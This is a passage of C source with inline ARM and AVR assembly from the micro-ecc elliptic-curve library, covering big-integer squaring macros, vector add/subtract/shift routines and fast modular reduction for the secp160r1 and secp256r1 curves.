1512 "umull r1, r10, r6, r2 \n\t" \
1513 "adds r1, r1, r1 \n\t" \
1514 "adcs r10, r10, r10 \n\t" \
1515 "adc r8, r8, #0 \n\t" \
1516 "adds r11, r11, r1 \n\t" \
1517 "adcs r12, r12, r10 \n\t" \
1518 "adc r8, r8, #0 \n\t" \
1519 "umull r1, r10, r7, r7 \n\t" \
1520 "adds r11, r11, r1 \n\t" \
1521 "adcs r12, r12, r10 \n\t" \
1522 "adc r8, r8, #0 \n\t" \
1523 "stmia r0!, {r11} \n\t" \
1524 \
1525 "mov r11, #0 \n\t" \
1526 "umull r1, r10, r7, r2 \n\t" \
1527 "adds r1, r1, r1 \n\t" \
1528 "adcs r10, r10, r10 \n\t" \
1529 "adc r11, r11, #0 \n\t" \
1530 "adds r12, r12, r1 \n\t" \
1531 "adcs r8, r8, r10 \n\t" \
1532 "adc r11, r11, #0 \n\t" \
1533 "stmia r0!, {r12} \n\t" \
1534 \
1535 "umull r1, r10, r2, r2 \n\t" \
1536 "adds r8, r8, r1 \n\t" \
1537 "adcs r11, r11, r10 \n\t" \
1538 "stmia r0!, {r8, r11} \n\t"
1539
1540 #define FAST_SQUARE_ASM_8 \
1541 "ldmia r1!, {r2, r3} \n\t" \
1542 "add r1, 16 \n\t" \
1543 "ldmia r1!, {r5, r6} \n\t" \
1544 "add r0, 24 \n\t" \
1545 \
1546 "umull r8, r9, r2, r5 \n\t" \
1547 "stmia r0!, {r8} \n\t" \
1548 \
1549 "umull r12, r10, r2, r6 \n\t" \
1550 "adds r9, r9, r12 \n\t" \
1551 "adc r10, r10, #0 \n\t" \
1552 "stmia r0!, {r9} \n\t" \
1553 \
1554 "umull r8, r9, r3, r6 \n\t" \
1555 "adds r10, r10, r8 \n\t" \
1556 "adc r11, r9, #0 \n\t" \
1557 "stmia r0!, {r10, r11} \n\t" \
1558 \
1559 "sub r0, 40 \n\t" \
1560 "sub r1, 32 \n\t" \
1561 "ldmia r1!, {r2,r3,r4,r5,r6,r7} \n\t" \
1562 \
1563 "umull r11, r12, r2, r2 \n\t" \
1564 "stmia r0!, {r11} \n\t" \
1565 \
1566 "mov r9, #0 \n\t" \
1567 "umull r10, r11, r2, r3 \n\t" \
1568 "adds r12, r12, r10 \n\t" \
1569 "adcs r8, r11, #0 \n\t" \
1570 "adc r9, r9, #0 \n\t" \
1571 "adds r12, r12, r10 \n\t" \
1572 "adcs r8, r8, r11 \n\t" \
1573 "adc r9, r9, #0 \n\t" \
1574 "stmia r0!, {r12} \n\t" \
1575 \
1576 "mov r10, #0 \n\t" \
1577 "umull r11, r12, r2, r4 \n\t" \
1578 "adds r11, r11, r11 \n\t" \
1579 "adcs r12, r12, r12 \n\t" \
1580 "adc r10, r10, #0 \n\t" \
1581 "adds r8, r8, r11 \n\t" \
1582 "adcs r9, r9, r12 \n\t" \
1583 "adc r10, r10, #0 \n\t" \
1584 "umull r11, r12, r3, r3 \n\t" \
1585 "adds r8, r8, r11 \n\t" \
1586 "adcs r9, r9, r12 \n\t" \
1587 "adc r10, r10, #0 \n\t" \
1588 "stmia r0!, {r8} \n\t" \
1589 \
1590 "mov r12, #0 \n\t" \
1591 "umull r8, r11, r2, r5 \n\t" \
1592 "mov r14, r11 \n\t" \
1593 "umlal r8, r11, r3, r4 \n\t" \
1594 "cmp r14, r11 \n\t" \
1595 "it hi \n\t" \
1596 "adchi r12, r12, #0 \n\t" \
1597 "adds r8, r8, r8 \n\t" \
1598 "adcs r11, r11, r11 \n\t" \
1599 "adc r12, r12, r12 \n\t" \
1600 "adds r8, r8, r9 \n\t" \
1601 "adcs r11, r11, r10 \n\t" \
1602 "adc r12, r12, #0 \n\t" \
1603 "stmia r0!, {r8} \n\t" \
1604 \
1605 "mov r10, #0 \n\t" \
1606 "umull r8, r9, r2, r6 \n\t" \
1607 "mov r14, r9 \n\t" \
1608 "umlal r8, r9, r3, r5 \n\t" \
1609 "cmp r14, r9 \n\t" \
1610 "it hi \n\t" \
1611 "adchi r10, r10, #0 \n\t" \
1612 "adds r8, r8, r8 \n\t" \
1613 "adcs r9, r9, r9 \n\t" \
1614 "adc r10, r10, r10 \n\t" \
1615 "mov r14, r9 \n\t" \
1616 "umlal r8, r9, r4, r4 \n\t" \
1617 "cmp r14, r9 \n\t" \
1618 "it hi \n\t" \
1619 "adchi r10, r10, #0 \n\t" \
1620 "adds r8, r8, r11 \n\t" \
1621 "adcs r9, r9, r12 \n\t" \
1622 "adc r10, r10, #0 \n\t" \
1623 "stmia r0!, {r8} \n\t" \
1624 \
1625 "mov r12, #0 \n\t" \
1626 "umull r8, r11, r2, r7 \n\t" \
1627 "mov r14, r11 \n\t" \
1628 "umlal r8, r11, r3, r6 \n\t" \
1629 "cmp r14, r11 \n\t" \
1630 "it hi \n\t" \
1631 "adchi r12, r12, #0 \n\t" \
1632 "mov r14, r11 \n\t" \
1633 "umlal r8, r11, r4, r5 \n\t" \
1634 "cmp r14, r11 \n\t" \
1635 "it hi \n\t" \
1636 "adchi r12, r12, #0 \n\t" \
1637 "adds r8, r8, r8 \n\t" \
1638 "adcs r11, r11, r11 \n\t" \
1639 "adc r12, r12, r12 \n\t" \
1640 "adds r8, r8, r9 \n\t" \
1641 "adcs r11, r11, r10 \n\t" \
1642 "adc r12, r12, #0 \n\t" \
1643 "stmia r0!, {r8} \n\t" \
1644 \
1645 "ldmia r1!, {r2} \n\t" \
1646 "mov r10, #0 \n\t" \
1647 "umull r8, r9, r3, r7 \n\t" \
1648 "mov r14, r9 \n\t" \
1649 "umlal r8, r9, r4, r6 \n\t" \
1650 "cmp r14, r9 \n\t" \
1651 "it hi \n\t" \
1652 "adchi r10, r10, #0 \n\t" \
1653 "ldr r14, [r0] \n\t" \
1654 "adds r8, r8, r14 \n\t" \
1655 "adcs r9, r9, #0 \n\t" \
1656 "adc r10, r10, #0 \n\t" \
1657 "adds r8, r8, r8 \n\t" \
1658 "adcs r9, r9, r9 \n\t" \
1659 "adc r10, r10, r10 \n\t" \
1660 "mov r14, r9 \n\t" \
1661 "umlal r8, r9, r5, r5 \n\t" \
1662 "cmp r14, r9 \n\t" \
1663 "it hi \n\t" \
1664 "adchi r10, r10, #0 \n\t" \
1665 "adds r8, r8, r11 \n\t" \
1666 "adcs r9, r9, r12 \n\t" \
1667 "adc r10, r10, #0 \n\t" \
1668 "stmia r0!, {r8} \n\t" \
1669 \
1670 "mov r12, #0 \n\t" \
1671 "umull r8, r11, r3, r2 \n\t" \
1672 "mov r14, r11 \n\t" \
1673 "umlal r8, r11, r4, r7 \n\t" \
1674 "cmp r14, r11 \n\t" \
1675 "it hi \n\t" \
1676 "adchi r12, r12, #0 \n\t" \
1677 "mov r14, r11 \n\t" \
1678 "umlal r8, r11, r5, r6 \n\t" \
1679 "cmp r14, r11 \n\t" \
1680 "it hi \n\t" \
1681 "adchi r12, r12, #0 \n\t" \
1682 "ldr r14, [r0] \n\t" \
1683 "adds r8, r8, r14 \n\t" \
1684 "adcs r11, r11, #0 \n\t" \
1685 "adc r12, r12, #0 \n\t" \
1686 "adds r8, r8, r8 \n\t" \
1687 "adcs r11, r11, r11 \n\t" \
1688 "adc r12, r12, r12 \n\t" \
1689 "adds r8, r8, r9 \n\t" \
1690 "adcs r11, r11, r10 \n\t" \
1691 "adc r12, r12, #0 \n\t" \
1692 "stmia r0!, {r8} \n\t" \
1693 \
1694 "ldmia r1!, {r3} \n\t" \
1695 "mov r10, #0 \n\t" \
1696 "umull r8, r9, r4, r2 \n\t" \
1697 "mov r14, r9 \n\t" \
1698 "umlal r8, r9, r5, r7 \n\t" \
1699 "cmp r14, r9 \n\t" \
1700 "it hi \n\t" \
1701 "adchi r10, r10, #0 \n\t" \
1702 "ldr r14, [r0] \n\t" \
1703 "adds r8, r8, r14 \n\t" \
1704 "adcs r9, r9, #0 \n\t" \
1705 "adc r10, r10, #0 \n\t" \
1706 "adds r8, r8, r8 \n\t" \
1707 "adcs r9, r9, r9 \n\t" \
1708 "adc r10, r10, r10 \n\t" \
1709 "mov r14, r9 \n\t" \
1710 "umlal r8, r9, r6, r6 \n\t" \
1711 "cmp r14, r9 \n\t" \
1712 "it hi \n\t" \
1713 "adchi r10, r10, #0 \n\t" \
1714 "adds r8, r8, r11 \n\t" \
1715 "adcs r9, r9, r12 \n\t" \
1716 "adc r10, r10, #0 \n\t" \
1717 "stmia r0!, {r8} \n\t" \
1718 \
1719 "mov r12, #0 \n\t" \
1720 "umull r8, r11, r4, r3 \n\t" \
1721 "mov r14, r11 \n\t" \
1722 "umlal r8, r11, r5, r2 \n\t" \
1723 "cmp r14, r11 \n\t" \
1724 "it hi \n\t" \
1725 "adchi r12, r12, #0 \n\t" \
1726 "mov r14, r11 \n\t" \
1727 "umlal r8, r11, r6, r7 \n\t" \
1728 "cmp r14, r11 \n\t" \
1729 "it hi \n\t" \
1730 "adchi r12, r12, #0 \n\t" \
1731 "ldr r14, [r0] \n\t" \
1732 "adds r8, r8, r14 \n\t" \
1733 "adcs r11, r11, #0 \n\t" \
1734 "adc r12, r12, #0 \n\t" \
1735 "adds r8, r8, r8 \n\t" \
1736 "adcs r11, r11, r11 \n\t" \
1737 "adc r12, r12, r12 \n\t" \
1738 "adds r8, r8, r9 \n\t" \
1739 "adcs r11, r11, r10 \n\t" \
1740 "adc r12, r12, #0 \n\t" \
1741 "stmia r0!, {r8} \n\t" \
1742 \
1743 "mov r10, #0 \n\t" \
1744 "umull r8, r9, r5, r3 \n\t" \
1745 "mov r14, r9 \n\t" \
1746 "umlal r8, r9, r6, r2 \n\t" \
1747 "cmp r14, r9 \n\t" \
1748 "it hi \n\t" \
1749 "adchi r10, r10, #0 \n\t" \
1750 "adds r8, r8, r8 \n\t" \
1751 "adcs r9, r9, r9 \n\t" \
1752 "adc r10, r10, r10 \n\t" \
1753 "mov r14, r9 \n\t" \
1754 "umlal r8, r9, r7, r7 \n\t" \
1755 "cmp r14, r9 \n\t" \
1756 "it hi \n\t" \
1757 "adchi r10, r10, #0 \n\t" \
1758 "adds r8, r8, r11 \n\t" \
1759 "adcs r9, r9, r12 \n\t" \
1760 "adc r10, r10, #0 \n\t" \
1761 "stmia r0!, {r8} \n\t" \
1762 \
1763 "mov r12, #0 \n\t" \
1764 "umull r8, r11, r6, r3 \n\t" \
1765 "mov r14, r11 \n\t" \
1766 "umlal r8, r11, r7, r2 \n\t" \
1767 "cmp r14, r11 \n\t" \
1768 "it hi \n\t" \
1769 "adchi r12, r12, #0 \n\t" \
1770 "adds r8, r8, r8 \n\t" \
1771 "adcs r11, r11, r11 \n\t" \
1772 "adc r12, r12, r12 \n\t" \
1773 "adds r8, r8, r9 \n\t" \
1774 "adcs r11, r11, r10 \n\t" \
1775 "adc r12, r12, #0 \n\t" \
1776 "stmia r0!, {r8} \n\t" \
1777 \
1778 "mov r8, #0 \n\t" \
1779 "umull r1, r10, r7, r3 \n\t" \
1780 "adds r1, r1, r1 \n\t" \
1781 "adcs r10, r10, r10 \n\t" \
1782 "adc r8, r8, #0 \n\t" \
1783 "adds r11, r11, r1 \n\t" \
1784 "adcs r12, r12, r10 \n\t" \
1785 "adc r8, r8, #0 \n\t" \
1786 "umull r1, r10, r2, r2 \n\t" \
1787 "adds r11, r11, r1 \n\t" \
1788 "adcs r12, r12, r10 \n\t" \
1789 "adc r8, r8, #0 \n\t" \
1790 "stmia r0!, {r11} \n\t" \
1791 \
1792 "mov r11, #0 \n\t" \
1793 "umull r1, r10, r2, r3 \n\t" \
1794 "adds r1, r1, r1 \n\t" \
1795 "adcs r10, r10, r10 \n\t" \
1796 "adc r11, r11, #0 \n\t" \
1797 "adds r12, r12, r1 \n\t" \
1798 "adcs r8, r8, r10 \n\t" \
1799 "adc r11, r11, #0 \n\t" \
1800 "stmia r0!, {r12} \n\t" \
1801 \
1802 "umull r1, r10, r3, r3 \n\t" \
1803 "adds r8, r8, r1 \n\t" \
1804 "adcs r11, r11, r10 \n\t" \
1805 "stmia r0!, {r8, r11} \n\t"
1806
1807 #endif /* _UECC_ASM_ARM_MULT_SQUARE_H_ */
0 /* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */
1
2 #ifndef _UECC_ASM_AVR_H_
3 #define _UECC_ASM_AVR_H_
4
5 #if __AVR_HAVE_EIJMP_EICALL__
6 #define IJMP "eijmp \n\t"
7 #else
8 #define IJMP "ijmp \n\t"
9 #endif
10
11 #if (uECC_OPTIMIZATION_LEVEL >= 2)
12
13 uECC_VLI_API void uECC_vli_clear(uECC_word_t *vli, wordcount_t num_words) {
14 volatile uECC_word_t *v = vli;
15 __asm__ volatile (
16 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
17 "ldi r30, pm_lo8(1f) \n\t"
18 "ldi r31, pm_hi8(1f) \n\t"
19 "sub r30, %[num] \n\t"
20 "sbc r31, __zero_reg__ \n\t"
21 IJMP
22 #endif
23
24 REPEAT(uECC_MAX_WORDS, "st x+, __zero_reg__ \n\t")
25 "1: \n\t"
26 : "+x" (v)
27 : [num] "r" (num_words)
28 :
29 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
30 "r30", "r31", "cc"
31 #endif
32 );
33 }
34 #define asm_clear 1
35
36 uECC_VLI_API void uECC_vli_set(uECC_word_t *dest, const uECC_word_t *src, wordcount_t num_words) {
37 volatile uECC_word_t *d = dest;
38 __asm__ volatile (
39 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
40 "ldi r30, pm_lo8(1f) \n\t"
41 "ldi r31, pm_hi8(1f) \n\t"
42 "sub r30, %[num] \n\t"
43 "sbc r31, __zero_reg__ \n\t"
44 IJMP
45 #endif
46
47 REPEAT(uECC_MAX_WORDS,
48 "ld r0, y+ \n\t"
49 "st x+, r0 \n\t")
50 "1: \n\t"
51 : "+x" (d), "+y" (src)
52 : [num] "r" ((uint8_t)(num_words * 2))
53 : "r0",
54 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
55 "r30", "r31", "cc"
56 #endif
57 );
58 }
59 #define asm_set 1
60
61 uECC_VLI_API void uECC_vli_rshift1(uECC_word_t *vli, wordcount_t num_words) {
62 volatile uECC_word_t *v = vli;
63 __asm__ volatile (
64 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
65 "ldi r30, pm_lo8(1f) \n\t"
66 "ldi r31, pm_hi8(1f) \n\t"
67 "sub r30, %[jump] \n\t"
68 "sbc r31, __zero_reg__ \n\t"
69 #endif
70
71 "add r26, %[num] \n\t"
72 "adc r27, __zero_reg__ \n\t"
73 "ld r0, -x \n\t"
74 "lsr r0 \n\t"
75 "st x, r0 \n\t"
76 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
77 IJMP
78 #endif
79
80 REPEAT(DEC(uECC_MAX_WORDS),
81 "ld r0, -x \n\t"
82 "ror r0 \n\t"
83 "st x, r0 \n\t")
84 "1: \n\t"
85 : "+x" (v)
86 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
87 : [num] "r" (num_words), [jump] "r" ((uint8_t)(3 * (num_words - 1)))
88 : "r0", "r30", "r31", "cc"
89 #else
90 : [num] "r" (num_words)
91 : "r0", "cc"
92 #endif
93 );
94 }
95 #define asm_rshift1 1
96
97 #define ADD_RJPM_TABLE(N) \
98 "movw r30, %A[result] \n\t" \
99 "rjmp add_%=_" #N " \n\t"
100
101 #define ADD_RJPM_DEST(N) \
102 "add_%=_" #N ":" \
103 "ld %[clb], x+ \n\t" \
104 "ld %[rb], y+ \n\t" \
105 "adc %[clb], %[rb] \n\t" \
106 "st z+, %[clb] \n\t"
107
108 uECC_VLI_API uECC_word_t uECC_vli_add(uECC_word_t *result,
109 const uECC_word_t *left,
110 const uECC_word_t *right,
111 wordcount_t num_words) {
112 volatile uECC_word_t *r = result;
113 uint8_t carry;
114 uint8_t right_byte;
115
116 __asm__ volatile (
117 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
118 "ldi r30, pm_lo8(add_%=_" STR(uECC_MAX_WORDS) ") \n\t"
119 "ldi r31, pm_hi8(add_%=_" STR(uECC_MAX_WORDS) ") \n\t"
120 "sub r30, %[num] \n\t"
121 "sbc r31, __zero_reg__ \n\t"
122 #endif
123
124 "clc \n\t"
125 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
126 IJMP
127 REPEATM(uECC_MAX_WORDS, ADD_RJPM_TABLE)
128 #endif
129
130 REPEATM(uECC_MAX_WORDS, ADD_RJPM_DEST)
131
132 "mov %[clb], __zero_reg__ \n\t"
133 "adc %[clb], %[clb] \n\t" /* Store carry bit. */
134
135 : "+x" (left), "+y" (right),
136 [clb] "=&r" (carry), [rb] "=&r" (right_byte)
137 : [result] "r" (r), [num] "r" ((uint8_t)(num_words * 2))
138 : "r30", "r31", "cc"
139 );
140 return carry;
141 }
142 #define asm_add 1
143
144 #define SUB_RJPM_TABLE(N) \
145 "movw r30, %A[result] \n\t" \
146 "rjmp sub_%=_" #N " \n\t"
147
148 #define SUB_RJPM_DEST(N) \
149 "sub_%=_" #N ":" \
150 "ld %[clb], x+ \n\t" \
151 "ld %[rb], y+ \n\t" \
152 "sbc %[clb], %[rb] \n\t" \
153 "st z+, %[clb] \n\t"
154
155 uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result,
156 const uECC_word_t *left,
157 const uECC_word_t *right,
158 wordcount_t num_words) {
159 volatile uECC_word_t *r = result;
160 uint8_t carry;
161 uint8_t right_byte;
162
163 __asm__ volatile (
164 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
165 "ldi r30, pm_lo8(sub_%=_" STR(uECC_MAX_WORDS) ") \n\t"
166 "ldi r31, pm_hi8(sub_%=_" STR(uECC_MAX_WORDS) ") \n\t"
167 "sub r30, %[num] \n\t"
168 "sbc r31, __zero_reg__ \n\t"
169 #endif
170
171 "clc \n\t"
172 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
173 IJMP
174 REPEATM(uECC_MAX_WORDS, SUB_RJPM_TABLE)
175 #endif
176
177 REPEATM(uECC_MAX_WORDS, SUB_RJPM_DEST)
178
179 "mov %[clb], __zero_reg__ \n\t"
180 "adc %[clb], %[clb] \n\t" /* Store carry bit. */
181
182 : "+x" (left), "+y" (right),
183 [clb] "=&r" (carry), [rb] "=&r" (right_byte)
184 : [result] "r" (r), [num] "r" ((uint8_t)(num_words * 2))
185 : "r30", "r31", "cc"
186 );
187 return carry;
188 }
189 #define asm_sub 1
190
191 #if uECC_SUPPORTS_secp160r1
192 static const struct uECC_Curve_t curve_secp160r1;
193 static void vli_mmod_fast_secp160r1(uECC_word_t *result, uECC_word_t *product) {
194 uint8_t carry = 0;
195 __asm__ volatile (
196 "in r30, __SP_L__ \n\t"
197 "in r31, __SP_H__ \n\t"
198 "sbiw r30, 24 \n\t"
199 "in r0, __SREG__ \n\t"
200 "cli \n\t"
201 "out __SP_H__, r31 \n\t"
202 "out __SREG__, r0 \n\t"
203 "out __SP_L__, r30 \n\t"
204
205 "adiw r30, 25 \n\t" /* we are shifting by 31 bits, so shift over 4 bytes
206 (+ 1 since z initially points below the stack) */
207 "adiw r26, 40 \n\t" /* end of product */
208 "ld r18, -x \n\t" /* Load word. */
209 "lsr r18 \n\t" /* Shift. */
210 "st -z, r18 \n\t" /* Store the first result word. */
211
212 /* Now we just do the remaining words with the carry bit (using ROR) */
213 REPEAT(19,
214 "ld r18, -x \n\t"
215 "ror r18 \n\t"
216 "st -z, r18 \n\t")
217
218 "eor r18, r18 \n\t" /* r18 = 0 */
219 "ror r18 \n\t" /* get last bit */
220 "st -z, r18 \n\t" /* store it */
221
222 "sbiw r30, 3 \n\t" /* move z back to point at tmp */
223 /* now we add right */
224 "ld r18, x+ \n\t"
225 "st z+, r18 \n\t" /* the first 3 bytes do not need to be added */
226 "ld r18, x+ \n\t"
227 "st z+, r18 \n\t"
228 "ld r18, x+ \n\t"
229 "st z+, r18 \n\t"
230
231 "ld r18, x+ \n\t"
232 "ld r19, z \n\t"
233 "add r18, r19 \n\t"
234 "st z+, r18 \n\t"
235
236 /* Now we just do the remaining words with the carry bit (using ADC) */
237 REPEAT(16,
238 "ld r18, x+ \n\t"
239 "ld r19, z \n\t"
240 "adc r18, r19 \n\t"
241 "st z+, r18 \n\t")
242
243 /* Propagate over the remaining bytes of result */
244 "ld r18, z \n\t"
245 "adc r18, r1 \n\t"
246 "st z+, r18 \n\t"
247
248 "ld r18, z \n\t"
249 "adc r18, r1 \n\t"
250 "st z+, r18 \n\t"
251
252 "ld r18, z \n\t"
253 "adc r18, r1 \n\t"
254 "st z+, r18 \n\t"
255
256 "ld r18, z \n\t"
257 "adc r18, r1 \n\t"
258 "st z+, r18 \n\t"
259
260 "sbiw r30, 24 \n\t" /* move z back to point at tmp */
261 "sbiw r26, 40 \n\t" /* move x back to point at product */
262
263 /* add low bytes of tmp to product, storing in result */
264 "ld r18, z+ \n\t"
265 "ld r19, x+ \n\t"
266 "add r18, r19 \n\t"
267 "st y+, r18 \n\t"
268 REPEAT(19,
269 "ld r18, z+ \n\t"
270 "ld r19, x+ \n\t"
271 "adc r18, r19 \n\t"
272 "st y+, r18 \n\t")
273 "adc %[carry], __zero_reg__ \n\t" /* Store carry bit (carry flag is cleared). */
274 /* at this point x is at the end of product, y is at the end of result,
275 z is 20 bytes into tmp */
276 "sbiw r28, 20 \n\t" /* move y back to point at result */
277 "adiw r30, 4 \n\t" /* move z to point to the end of tmp */
278
279 /* do omega_mult again with the 4 relevant bytes */
280 /* z points to the end of tmp, x points to the end of product */
281 "ld r18, -z \n\t" /* Load word. */
282 "lsr r18 \n\t" /* Shift. */
283 "st -x, r18 \n\t" /* Store the first result word. */
284
285 "ld r18, -z \n\t"
286 "ror r18 \n\t"
287 "st -x, r18 \n\t"
288 "ld r18, -z \n\t"
289 "ror r18 \n\t"
290 "st -x, r18 \n\t"
291 "ld r18, -z \n\t"
292 "ror r18 \n\t"
293 "st -x, r18 \n\t"
294
295 "eor r18, r18 \n\t" /* r18 = 0 */
296 "ror r18 \n\t" /* get last bit */
297 "st -x, r18 \n\t" /* store it */
298
299 "sbiw r26, 3 \n\t" /* move x back to point at beginning */
300 /* now we add a copy of the 4 bytes */
301 "ld r18, z+ \n\t"
302 "st x+, r18 \n\t" /* the first 3 bytes do not need to be added */
303 "ld r18, z+ \n\t"
304 "st x+, r18 \n\t"
305 "ld r18, z+ \n\t"
306 "st x+, r18 \n\t"
307
308 "ld r18, z+ \n\t"
309 "ld r19, x \n\t"
310 "add r18, r19 \n\t"
311 "st x+, r18 \n\t"
312
313 /* Propagate over the remaining bytes */
314 "ld r18, x \n\t"
315 "adc r18, r1 \n\t"
316 "st x+, r18 \n\t"
317
318 "ld r18, x \n\t"
319 "adc r18, r1 \n\t"
320 "st x+, r18 \n\t"
321
322 "ld r18, x \n\t"
323 "adc r18, r1 \n\t"
324 "st x+, r18 \n\t"
325
326 "ld r18, x \n\t"
327 "adc r18, r1 \n\t"
328 "st x+, r18 \n\t"
329
330 /* now z points to the end of tmp, x points to the end of product
331 (y still points at result) */
332 "sbiw r26, 8 \n\t" /* move x back to point at beginning of actual data */
333 /* add into result */
334 "ld r18, x+ \n\t"
335 "ld r19, y \n\t"
336 "add r18, r19 \n\t"
337 "st y+, r18 \n\t"
338 REPEAT(7,
339 "ld r18, x+ \n\t"
340 "ld r19, y \n\t"
341 "adc r18, r19 \n\t"
342 "st y+, r18 \n\t")
343
344 /* Done adding, now propagate carry bit */
345 REPEAT(12,
346 "ld r18, y \n\t"
347 "adc r18, __zero_reg__ \n\t"
348 "st y+, r18 \n\t")
349
350 "adc %[carry], __zero_reg__ \n\t" /* Store carry bit (carry flag is cleared). */
351 "sbiw r28, 20 \n\t" /* move y back to point at result */
352
353 "sbiw r30, 1 \n\t" /* fix stack pointer */
354 "in r0, __SREG__ \n\t"
355 "cli \n\t"
356 "out __SP_H__, r31 \n\t"
357 "out __SREG__, r0 \n\t"
358 "out __SP_L__, r30 \n\t"
359
360 : "+x" (product), [carry] "+r" (carry)
361 : "y" (result)
362 : "r0", "r18", "r19", "r30", "r31", "cc", "memory"
363 );
364
365 if (carry > 0) {
366 --carry;
367 uECC_vli_sub(result, result, curve_secp160r1.p, 20);
368 }
369 if (carry > 0) {
370 uECC_vli_sub(result, result, curve_secp160r1.p, 20);
371 }
372 if (uECC_vli_cmp_unsafe(result, curve_secp160r1.p, 20) > 0) {
373 uECC_vli_sub(result, result, curve_secp160r1.p, 20);
374 }
375 }
376 #define asm_mmod_fast_secp160r1 1
377 #endif /* uECC_SUPPORTS_secp160r1 */
378
379 #if uECC_SUPPORTS_secp256r1
380 static const struct uECC_Curve_t curve_secp256r1;
381 static void vli_mmod_fast_secp256r1(uECC_word_t *result, uECC_word_t *product) {
382 uint8_t carry = 0;
383 __asm__ volatile (
384 "in r30, __SP_L__ \n\t"
385 "in r31, __SP_H__ \n\t"
386 "sbiw r30, 37 \n\t"
387 "in r0, __SREG__ \n\t"
388 "cli \n\t"
389 "out __SP_H__, r31 \n\t"
390 "out __SREG__, r0 \n\t"
391 "out __SP_L__, r30 \n\t"
392
393 "adiw r30, 1 \n\t" /* add 1 since z initially points below the stack */
394 "adiw r26, 32 \n\t" /* product + uECC_WORDS */
395 "ldi r25, 0x03 \n\t"
396 "ldi r24, 0xD1 \n\t"
397 "ld r18, x+ \n\t"
398 "ld r19, x+ \n\t"
399 "ld r20, x+ \n\t"
400 "ld r21, x+ \n\t"
401
402 "mul r24, r18 \n\t"
403 "st z+, r0 \n\t"
404 "mov r22, r1 \n\t"
405 "ldi r23, 0 \n\t"
406
407 "mul r24, r19 \n\t"
408 "add r22, r0 \n\t"
409 "adc r23, r1 \n\t" /* can't overflow */
410 "mul r25, r18 \n\t"
411 "add r22, r0 \n\t"
412 "adc r23, r1 \n\t" /* can't overflow */
413 "st z+, r22 \n\t"
414 "ldi r22, 0 \n\t"
415
416 "mul r24, r20 \n\t"
417 "add r23, r0 \n\t"
418 "adc r22, r1 \n\t"
419 "mul r25, r19 \n\t"
420 "add r23, r0 \n\t"
421 "adc r22, r1 \n\t"
422 "st z+, r23 \n\t"
423 "ldi r23, 0 \n\t"
424
425 "mul r24, r21 \n\t"
426 "add r22, r0 \n\t"
427 "adc r23, r1 \n\t"
428 "mul r25, r20 \n\t"
429 "add r22, r0 \n\t"
430 "adc r23, r1 \n\t"
431 "st z+, r22 \n\t"
432 "ldi r22, 0 \n\t"
433
434 /* now we start adding the 2^32 part as well */
435 "add r23, r18 \n\t" // 28
436 "adc r22, r22 \n\t"
437 "ld r18, x+ \n\t"
438 "mul r24, r18 \n\t"
439 "add r23, r0 \n\t"
440 "adc r22, r1 \n\t"
441 "mul r25, r21 \n\t"
442 "add r23, r0 \n\t"
443 "adc r22, r1 \n\t"
444 "st z+, r23 \n\t"
445 "ldi r23, 0 \n\t"
446
447 "add r22, r19 \n\t" // 27
448 "adc r23, r23 \n\t"
449 "ld r19, x+ \n\t"
450 "mul r24, r19 \n\t"
451 "add r22, r0 \n\t"
452 "adc r23, r1 \n\t"
453 "mul r25, r18 \n\t"
454 "add r22, r0 \n\t"
455 "adc r23, r1 \n\t"
456 "st z+, r22 \n\t"
457 "ldi r22, 0 \n\t"
458
459 REPEAT(6, // 26 - 3
460 "add r23, r20 \n\t"
461 "adc r22, r22 \n\t"
462 "ld r20, x+ \n\t"
463 "mul r24, r20 \n\t"
464 "add r23, r0 \n\t"
465 "adc r22, r1 \n\t"
466 "mul r25, r19 \n\t"
467 "add r23, r0 \n\t"
468 "adc r22, r1 \n\t"
469 "st z+, r23 \n\t"
470 "ldi r23, 0 \n\t"
471
472 "add r22, r21 \n\t"
473 "adc r23, r23 \n\t"
474 "ld r21, x+ \n\t"
475 "mul r24, r21 \n\t"
476 "add r22, r0 \n\t"
477 "adc r23, r1 \n\t"
478 "mul r25, r20 \n\t"
479 "add r22, r0 \n\t"
480 "adc r23, r1 \n\t"
481 "st z+, r22 \n\t"
482 "ldi r22, 0 \n\t"
483
484 "add r23, r18 \n\t"
485 "adc r22, r22 \n\t"
486 "ld r18, x+ \n\t"
487 "mul r24, r18 \n\t"
488 "add r23, r0 \n\t"
489 "adc r22, r1 \n\t"
490 "mul r25, r21 \n\t"
491 "add r23, r0 \n\t"
492 "adc r22, r1 \n\t"
493 "st z+, r23 \n\t"
494 "ldi r23, 0 \n\t"
495
496 "add r22, r19 \n\t"
497 "adc r23, r23 \n\t"
498 "ld r19, x+ \n\t"
499 "mul r24, r19 \n\t"
500 "add r22, r0 \n\t"
501 "adc r23, r1 \n\t"
502 "mul r25, r18 \n\t"
503 "add r22, r0 \n\t"
504 "adc r23, r1 \n\t"
505 "st z+, r22 \n\t"
506 "ldi r22, 0 \n\t")
507
508 "add r23, r20 \n\t" // 2
509 "adc r22, r22 \n\t"
510 "ld r20, x+ \n\t"
511 "mul r24, r20 \n\t"
512 "add r23, r0 \n\t"
513 "adc r22, r1 \n\t"
514 "mul r25, r19 \n\t"
515 "add r23, r0 \n\t"
516 "adc r22, r1 \n\t"
517 "st z+, r23 \n\t"
518 "ldi r23, 0 \n\t"
519
520 "add r22, r21 \n\t" // 1
521 "adc r23, r23 \n\t"
522 "ld r21, x+ \n\t"
523 "mul r24, r21 \n\t"
524 "add r22, r0 \n\t"
525 "adc r23, r1 \n\t"
526 "mul r25, r20 \n\t"
527 "add r22, r0 \n\t"
528 "adc r23, r1 \n\t"
529 "st z+, r22 \n\t"
530 "ldi r22, 0 \n\t"
531
532 /* Now finish the carries etc */
533 "add r23, r18 \n\t"
534 "adc r22, r22 \n\t"
535 "mul r25, r21 \n\t"
536 "add r23, r0 \n\t"
537 "adc r22, r1 \n\t"
538 "st z+, r23 \n\t"
539 "ldi r23, 0 \n\t"
540
